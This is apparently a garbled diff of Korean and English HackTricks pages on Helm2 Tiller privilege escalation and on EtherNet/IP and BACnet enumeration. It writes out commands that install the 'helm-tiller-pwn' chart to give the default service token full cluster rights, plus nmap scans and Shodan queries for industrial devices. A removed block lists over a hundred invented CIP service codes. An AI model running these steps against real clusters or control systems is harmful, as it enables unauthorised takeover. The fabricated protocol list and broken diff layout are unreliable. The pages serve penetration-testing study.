tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
||||||
```
|
```
|
||||||
이 서비스를 찾기 위해 44134 포트를 확인해 볼 수도 있습니다:
|
이 서비스를 찾으려면 포트 44134를 확인해 보세요:
|
||||||
```bash
|
```bash
|
||||||
sudo nmap -sS -p 44134 <IP>
|
sudo nmap -sS -p 44134 <IP>
|
||||||
```
|
```
|
||||||
발견한 후에는 클라이언트 helm 애플리케이션을 다운로드하여 통신할 수 있습니다. `homebrew`와 같은 도구를 사용하거나 [**공식 릴리스 페이지**](https://github.com/helm/helm/releases)**를** 참조할 수 있습니다. 자세한 내용이나 다른 옵션은 [설치 가이드](https://v2.helm.sh/docs/using\_helm/#installing-helm)를 참조하십시오.
|
한 번 발견하면 클라이언트 헬름 애플리케이션을 다운로드하여 통신할 수 있습니다. `homebrew`와 같은 도구를 사용하거나 [**공식 릴리스 페이지**](https://github.com/helm/helm/releases)**를 확인할 수 있습니다.** 더 많은 세부정보나 다른 옵션은 [설치 가이드](https://v2.helm.sh/docs/using\_helm/#installing-helm)를 참조하세요.
|
||||||
|
|
||||||
그런 다음, **서비스를 열거**할 수 있습니다:
|
그런 다음, **서비스를 열거할 수 있습니다**:
|
||||||
```
|
```
|
||||||
helm --host tiller-deploy.kube-system:44134 version
|
helm --host tiller-deploy.kube-system:44134 version
|
||||||
```
|
```
|
||||||
## 권한 상승
|
## Privilege Escalation
|
||||||
|
|
||||||
기본적으로 **Helm2**는 **kube-system** 네임스페이스에 **높은 권한**으로 설치되어 있으므로, 서비스를 찾고 액세스할 수 있다면 이를 통해 **권한을 상승**할 수 있습니다.
|
기본적으로 **Helm2**는 **kube-system** 네임스페이스에 **높은 권한**으로 설치되었으므로, 서비스를 찾고 이에 접근할 수 있다면 **권한 상승**을 할 수 있습니다.
|
||||||
|
|
||||||
해당 패키지를 설치하기만 하면 됩니다: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn). 이 패키지는 **기본 서비스 토큰이 클러스터 전체에 대한 액세스 권한을 갖게** 해줍니다.
|
당신이 해야 할 일은 다음과 같은 패키지를 설치하는 것입니다: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) 이는 **기본 서비스 토큰이 전체 클러스터의 모든 것에 접근할 수 있도록 합니다.**
|
||||||
```
|
```
|
||||||
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
||||||
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
||||||
/pwnchart
|
/pwnchart
|
||||||
```
|
```
|
||||||
[http://rui0.cn/archives/1573](http://rui0.cn/archives/1573)에서는 **공격에 대한 설명**을 확인할 수 있습니다. 기본적으로, _helm-tiller-pwn/pwnchart/templates/_ 폴더 안의 [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) 및 [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) 파일을 읽으면 **모든 권한이 기본 토큰에게 부여되는 것을 확인할 수 있습니다**.
|
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573)에는 **공격에 대한 설명**이 있지만, 기본적으로 _helm-tiller-pwn/pwnchart/templates/_ 내의 [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) 및 [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) 파일을 읽어보면 **모든 권한이 기본 토큰에 부여되는 방식**을 확인할 수 있습니다.
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,21 +1,22 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# **프로토콜 정보**
|
# **프로토콜 정보**
|
||||||
|
|
||||||
EtherNet/IP는 **산업 자동화 제어 시스템**에서 일반적으로 사용되는 **산업용 이더넷 네트워킹 프로토콜**입니다. 이 프로토콜은 1990년대 후반에 Rockwell Automation에서 개발되었으며 ODVA에서 관리됩니다. 이 프로토콜은 **다중 공급업체 시스템 상호 운용성**을 보장하며 **수처리 공장**, **제조 시설**, **공공 시설** 등 다양한 응용 분야에서 사용됩니다. EtherNet/IP 장치를 식별하기 위해 **TCP/44818**로 **Identities Message (0x63) 목록**을 보냅니다.
|
EtherNet/IP는 **산업 자동화 제어 시스템**에서 일반적으로 사용되는 **산업 이더넷 네트워킹 프로토콜**입니다. 1990년대 후반 Rockwell Automation에 의해 개발되었으며 ODVA에 의해 관리됩니다. 이 프로토콜은 **다중 공급업체 시스템 상호 운용성**을 보장하며 **수처리 시설**, **제조 시설**, **유틸리티**와 같은 다양한 응용 프로그램에서 사용됩니다. EtherNet/IP 장치를 식별하기 위해 **TCP/44818**에 **Identities Message (0x63)** 쿼리가 전송됩니다.
|
||||||
|
|
||||||
**기본 포트:** 44818 UDP/TCP
|
**기본 포트:** 44818 UDP/TCP
|
||||||
```
|
```
|
||||||
|
@ -23,221 +24,6 @@ PORT STATE SERVICE
|
||||||
44818/tcp open EtherNet/IP
|
44818/tcp open EtherNet/IP
|
||||||
```
|
```
|
||||||
# **열거**
|
# **열거**
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## **Ethernet/IP**
|
|
||||||
|
|
||||||
Ethernet/IP는 산업 자동화 시스템에서 널리 사용되는 통신 프로토콜입니다. 이 프로토콜은 TCP/IP를 기반으로 하며, 기계 간 통신을 위해 사용됩니다. Ethernet/IP는 CIP(Common Industrial Protocol)를 사용하여 데이터를 교환하며, 다양한 서비스와 기능을 제공합니다.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## **Enumeration Techniques**
|
|
||||||
|
|
||||||
### **1. ARP Scanning**
|
|
||||||
|
|
||||||
ARP 스캐닝은 Ethernet/IP 네트워크에서 사용 가능한 호스트를 식별하는 데 사용됩니다. ARP 스캐닝은 네트워크 상의 모든 호스트에 ARP 요청을 보내고, 응답을 통해 호스트의 IP 주소를 확인합니다.
|
|
||||||
|
|
||||||
### **2. CIP Services**
|
|
||||||
|
|
||||||
Ethernet/IP는 CIP를 사용하여 데이터를 교환합니다. 따라서 CIP 서비스를 열거하여 시스템의 정보를 수집할 수 있습니다. 일반적으로 사용되는 CIP 서비스에는 다음과 같은 것들이 있습니다.
|
|
||||||
|
|
||||||
- Get Attribute Single (0x0E)
|
|
||||||
- Get Attribute All (0x01)
|
|
||||||
- Get Attribute List (0x55)
|
|
||||||
- Get Member (0x4C)
|
|
||||||
- Get Member List (0x4D)
|
|
||||||
- Get Instance Attribute List (0x56)
|
|
||||||
- Get Class Attribute List (0x57)
|
|
||||||
- Get Connection List (0x5A)
|
|
||||||
- Get Connection Owner (0x5B)
|
|
||||||
- Get Connection Size (0x5C)
|
|
||||||
- Get Connection Type (0x5D)
|
|
||||||
- Get Connection Status (0x5E)
|
|
||||||
- Get Connection Path (0x5F)
|
|
||||||
- Get Connection Target (0x60)
|
|
||||||
- Get Connection In Use (0x61)
|
|
||||||
- Get Connection Data (0x62)
|
|
||||||
- Get Connection Data Rate (0x63)
|
|
||||||
- Get Connection Priority (0x64)
|
|
||||||
- Get Connection Time (0x65)
|
|
||||||
- Get Connection Control (0x66)
|
|
||||||
- Get Connection Mode (0x67)
|
|
||||||
- Get Connection Sequence (0x68)
|
|
||||||
- Get Connection Acknowledge (0x69)
|
|
||||||
- Get Connection Error (0x6A)
|
|
||||||
- Get Connection Error Code (0x6B)
|
|
||||||
- Get Connection Error Info (0x6C)
|
|
||||||
- Get Connection Error Path (0x6D)
|
|
||||||
- Get Connection Error Object (0x6E)
|
|
||||||
- Get Connection Error Connection (0x6F)
|
|
||||||
- Get Connection Error Service (0x70)
|
|
||||||
- Get Connection Error Class (0x71)
|
|
||||||
- Get Connection Error Instance (0x72)
|
|
||||||
- Get Connection Error Attribute (0x73)
|
|
||||||
- Get Connection Error Member (0x74)
|
|
||||||
- Get Connection Error Code 1 (0x75)
|
|
||||||
- Get Connection Error Code 2 (0x76)
|
|
||||||
- Get Connection Error Code 3 (0x77)
|
|
||||||
- Get Connection Error Code 4 (0x78)
|
|
||||||
- Get Connection Error Code 5 (0x79)
|
|
||||||
- Get Connection Error Code 6 (0x7A)
|
|
||||||
- Get Connection Error Code 7 (0x7B)
|
|
||||||
- Get Connection Error Code 8 (0x7C)
|
|
||||||
- Get Connection Error Code 9 (0x7D)
|
|
||||||
- Get Connection Error Code 10 (0x7E)
|
|
||||||
- Get Connection Error Code 11 (0x7F)
|
|
||||||
- Get Connection Error Code 12 (0x80)
|
|
||||||
- Get Connection Error Code 13 (0x81)
|
|
||||||
- Get Connection Error Code 14 (0x82)
|
|
||||||
- Get Connection Error Code 15 (0x83)
|
|
||||||
- Get Connection Error Code 16 (0x84)
|
|
||||||
- Get Connection Error Code 17 (0x85)
|
|
||||||
- Get Connection Error Code 18 (0x86)
|
|
||||||
- Get Connection Error Code 19 (0x87)
|
|
||||||
- Get Connection Error Code 20 (0x88)
|
|
||||||
- Get Connection Error Code 21 (0x89)
|
|
||||||
- Get Connection Error Code 22 (0x8A)
|
|
||||||
- Get Connection Error Code 23 (0x8B)
|
|
||||||
- Get Connection Error Code 24 (0x8C)
|
|
||||||
- Get Connection Error Code 25 (0x8D)
|
|
||||||
- Get Connection Error Code 26 (0x8E)
|
|
||||||
- Get Connection Error Code 27 (0x8F)
|
|
||||||
- Get Connection Error Code 28 (0x90)
|
|
||||||
- Get Connection Error Code 29 (0x91)
|
|
||||||
- Get Connection Error Code 30 (0x92)
|
|
||||||
- Get Connection Error Code 31 (0x93)
|
|
||||||
- Get Connection Error Code 32 (0x94)
|
|
||||||
- Get Connection Error Code 33 (0x95)
|
|
||||||
- Get Connection Error Code 34 (0x96)
|
|
||||||
- Get Connection Error Code 35 (0x97)
|
|
||||||
- Get Connection Error Code 36 (0x98)
|
|
||||||
- Get Connection Error Code 37 (0x99)
|
|
||||||
- Get Connection Error Code 38 (0x9A)
|
|
||||||
- Get Connection Error Code 39 (0x9B)
|
|
||||||
- Get Connection Error Code 40 (0x9C)
|
|
||||||
- Get Connection Error Code 41 (0x9D)
|
|
||||||
- Get Connection Error Code 42 (0x9E)
|
|
||||||
- Get Connection Error Code 43 (0x9F)
|
|
||||||
- Get Connection Error Code 44 (0xA0)
|
|
||||||
- Get Connection Error Code 45 (0xA1)
|
|
||||||
- Get Connection Error Code 46 (0xA2)
|
|
||||||
- Get Connection Error Code 47 (0xA3)
|
|
||||||
- Get Connection Error Code 48 (0xA4)
|
|
||||||
- Get Connection Error Code 49 (0xA5)
|
|
||||||
- Get Connection Error Code 50 (0xA6)
|
|
||||||
- Get Connection Error Code 51 (0xA7)
|
|
||||||
- Get Connection Error Code 52 (0xA8)
|
|
||||||
- Get Connection Error Code 53 (0xA9)
|
|
||||||
- Get Connection Error Code 54 (0xAA)
|
|
||||||
- Get Connection Error Code 55 (0xAB)
|
|
||||||
- Get Connection Error Code 56 (0xAC)
|
|
||||||
- Get Connection Error Code 57 (0xAD)
|
|
||||||
- Get Connection Error Code 58 (0xAE)
|
|
||||||
- Get Connection Error Code 59 (0xAF)
|
|
||||||
- Get Connection Error Code 60 (0xB0)
|
|
||||||
- Get Connection Error Code 61 (0xB1)
|
|
||||||
- Get Connection Error Code 62 (0xB2)
|
|
||||||
- Get Connection Error Code 63 (0xB3)
|
|
||||||
- Get Connection Error Code 64 (0xB4)
|
|
||||||
- Get Connection Error Code 65 (0xB5)
|
|
||||||
- Get Connection Error Code 66 (0xB6)
|
|
||||||
- Get Connection Error Code 67 (0xB7)
|
|
||||||
- Get Connection Error Code 68 (0xB8)
|
|
||||||
- Get Connection Error Code 69 (0xB9)
|
|
||||||
- Get Connection Error Code 70 (0xBA)
|
|
||||||
- Get Connection Error Code 71 (0xBB)
|
|
||||||
- Get Connection Error Code 72 (0xBC)
|
|
||||||
- Get Connection Error Code 73 (0xBD)
|
|
||||||
- Get Connection Error Code 74 (0xBE)
|
|
||||||
- Get Connection Error Code 75 (0xBF)
|
|
||||||
- Get Connection Error Code 76 (0xC0)
|
|
||||||
- Get Connection Error Code 77 (0xC1)
|
|
||||||
- Get Connection Error Code 78 (0xC2)
|
|
||||||
- Get Connection Error Code 79 (0xC3)
|
|
||||||
- Get Connection Error Code 80 (0xC4)
|
|
||||||
- Get Connection Error Code 81 (0xC5)
|
|
||||||
- Get Connection Error Code 82 (0xC6)
|
|
||||||
- Get Connection Error Code 83 (0xC7)
|
|
||||||
- Get Connection Error Code 84 (0xC8)
|
|
||||||
- Get Connection Error Code 85 (0xC9)
|
|
||||||
- Get Connection Error Code 86 (0xCA)
|
|
||||||
- Get Connection Error Code 87 (0xCB)
|
|
||||||
- Get Connection Error Code 88 (0xCC)
|
|
||||||
- Get Connection Error Code 89 (0xCD)
|
|
||||||
- Get Connection Error Code 90 (0xCE)
|
|
||||||
- Get Connection Error Code 91 (0xCF)
|
|
||||||
- Get Connection Error Code 92 (0xD0)
|
|
||||||
- Get Connection Error Code 93 (0xD1)
|
|
||||||
- Get Connection Error Code 94 (0xD2)
|
|
||||||
- Get Connection Error Code 95 (0xD3)
|
|
||||||
- Get Connection Error Code 96 (0xD4)
|
|
||||||
- Get Connection Error Code 97 (0xD5)
|
|
||||||
- Get Connection Error Code 98 (0xD6)
|
|
||||||
- Get Connection Error Code 99 (0xD7)
|
|
||||||
- Get Connection Error Code 100 (0xD8)
|
|
||||||
- Get Connection Error Code 101 (0xD9)
|
|
||||||
- Get Connection Error Code 102 (0xDA)
|
|
||||||
- Get Connection Error Code 103 (0xDB)
|
|
||||||
- Get Connection Error Code 104 (0xDC)
|
|
||||||
- Get Connection Error Code 105 (0xDD)
|
|
||||||
- Get Connection Error Code 106 (0xDE)
|
|
||||||
- Get Connection Error Code 107 (0xDF)
|
|
||||||
- Get Connection Error Code 108 (0xE0)
|
|
||||||
- Get Connection Error Code 109 (0xE1)
|
|
||||||
- Get Connection Error Code 110 (0xE2)
|
|
||||||
- Get Connection Error Code 111 (0xE3)
|
|
||||||
- Get Connection Error Code 112 (0xE4)
|
|
||||||
- Get Connection Error Code 113 (0xE5)
|
|
||||||
- Get Connection Error Code 114 (0xE6)
|
|
||||||
- Get Connection Error Code 115 (0xE7)
|
|
||||||
- Get Connection Error Code 116 (0xE8)
|
|
||||||
- Get Connection Error Code 117 (0xE9)
|
|
||||||
- Get Connection Error Code 118 (0xEA)
|
|
||||||
- Get Connection Error Code 119 (0xEB)
|
|
||||||
- Get Connection Error Code 120 (0xEC)
|
|
||||||
- Get Connection Error Code 121 (0xED)
|
|
||||||
- Get Connection Error Code 122 (0xEE)
|
|
||||||
- Get Connection Error Code 123 (0xEF)
|
|
||||||
- Get Connection Error Code 124 (0xF0)
|
|
||||||
- Get Connection Error Code 125 (0xF1)
|
|
||||||
- Get Connection Error Code 126 (0xF2)
|
|
||||||
- Get Connection Error Code 127 (0xF3)
|
|
||||||
- Get Connection Error Code 128 (0xF4)
|
|
||||||
- Get Connection Error Code 129 (0xF5)
|
|
||||||
- Get Connection Error Code 130 (0xF6)
|
|
||||||
- Get Connection Error Code 131 (0xF7)
|
|
||||||
- Get Connection Error Code 132 (0xF8)
|
|
||||||
- Get Connection Error Code 133 (0xF9)
|
|
||||||
- Get Connection Error Code 134 (0xFA)
|
|
||||||
- Get Connection Error Code 135 (0xFB)
|
|
||||||
- Get Connection Error Code 136 (0xFC)
|
|
||||||
- Get Connection Error Code 137 (0xFD)
|
|
||||||
- Get Connection Error Code 138 (0xFE)
|
|
||||||
- Get Connection Error Code 139 (0xFF)
|
|
||||||
|
|
||||||
### **3. CIP Object Model**
|
|
||||||
|
|
||||||
CIP 객체 모델은 Ethernet/IP 네트워크에서 사용되는 객체의 계층 구조를 설명합니다. CIP 객체 모델을 분석하여 시스템의 구성 요소와 관련된 정보를 파악할 수 있습니다.
|
|
||||||
|
|
||||||
### **4. CIP Class Codes**
|
|
||||||
|
|
||||||
CIP 클래스 코드는 Ethernet/IP 네트워크에서 사용되는 클래스의 식별자입니다. CIP 클래스 코드를 분석하여 시스템의 클래스와 관련된 정보를 수집할 수 있습니다.
|
|
||||||
|
|
||||||
### **5. CIP Instance Codes**
|
|
||||||
|
|
||||||
CIP 인스턴스 코드는 Ethernet/IP 네트워크에서 사용되는 인스턴스의 식별자입니다. CIP 인스턴스 코드를 분석하여 시스템의 인스턴스와 관련된 정보를 수집할 수 있습니다.
|
|
||||||
|
|
||||||
### **6. CIP Attribute Codes**
|
|
||||||
|
|
||||||
CIP 속성 코드는 Ethernet/IP 네트워크에서 사용되는 속성의 식별자입니다. CIP 속성 코드를 분석하여 시스템의 속성과 관련된 정보를 수집할 수 있습니다.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## **References**
|
|
||||||
|
|
||||||
- [https://en.wikipedia.org/wiki/EtherNet/IP](https://en.wikipedia.org/wiki/EtherNet/IP)
|
|
||||||
- [https://www.ethernet-ip.org/](https://www.ethernet-ip.org/)
|
|
||||||
```bash
|
```bash
|
||||||
nmap -n -sV --script enip-info -p 44818 <IP>
|
nmap -n -sV --script enip-info -p 44818 <IP>
|
||||||
pip3 install cpppo
|
pip3 install cpppo
|
||||||
|
@ -245,19 +31,20 @@ python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity
|
||||||
```
|
```
|
||||||
# Shodan
|
# Shodan
|
||||||
|
|
||||||
* `port:44818 "제품 이름"`
|
* `port:44818 "product name"`
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>을 통해 제로에서 영웅까지 AWS 해킹 배우기</strong></a><strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,21 +1,22 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
다른 방법으로 HackTricks를 지원하는 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# 프로토콜 정보
|
# 프로토콜 정보
|
||||||
|
|
||||||
**BACnet**은 **건물 자동화 및 제어 (BAC) 네트워크**용 **통신 프로토콜**로, **ASHRAE**, **ANSI**, 및 **ISO 16484-5 표준** 프로토콜을 활용합니다. 이는 건물 자동화 및 제어 시스템 간의 통신을 용이하게 하며 HVAC 제어, 조명 제어, 출입 제어 및 화재 감지 시스템과 같은 응용 프로그램이 정보를 교환할 수 있도록 합니다. BACnet은 상호 운용성을 보장하며, 특정 서비스의 종류에 관계없이 컴퓨터화된 건물 자동화 장치가 통신할 수 있도록 합니다.
|
**BACnet**은 **건물 자동화 및 제어**(BAC) 네트워크를 위한 **통신 프로토콜**로, **ASHRAE**, **ANSI**, 및 **ISO 16484-5 표준** 프로토콜을 활용합니다. 이는 건물 자동화 및 제어 시스템 간의 통신을 촉진하여 HVAC 제어, 조명 제어, 출입 통제 및 화재 감지 시스템과 같은 애플리케이션이 정보를 교환할 수 있도록 합니다. BACnet은 상호 운용성을 보장하고, 특정 서비스에 관계없이 컴퓨터화된 건물 자동화 장치가 통신할 수 있도록 합니다.
|
||||||
|
|
||||||
**기본 포트:** 47808
|
**기본 포트:** 47808
|
||||||
```text
|
```text
|
||||||
|
@ -50,9 +51,26 @@ print(f"Version: {readDevice[2]}")
|
||||||
```bash
|
```bash
|
||||||
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
|
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
|
||||||
```
|
```
|
||||||
이 스크립트는 외부 장치로 BACnet 네트워크에 가입하려고 시도하지 않습니다. 단순히 IP 주소 지정 장치로 BACnet 요청을 직접 보냅니다.
|
이 스크립트는 외부 장치로서 BACnet 네트워크에 참여하려고 하지 않으며, 단순히 BACnet 요청을 IP 주소가 할당된 장치로 직접 전송합니다.
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `port:47808 instance`
|
* `port:47808 instance`
|
||||||
* `"Instance ID" "Vendor Name"`
|
* `"Instance ID" "Vendor Name"`
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
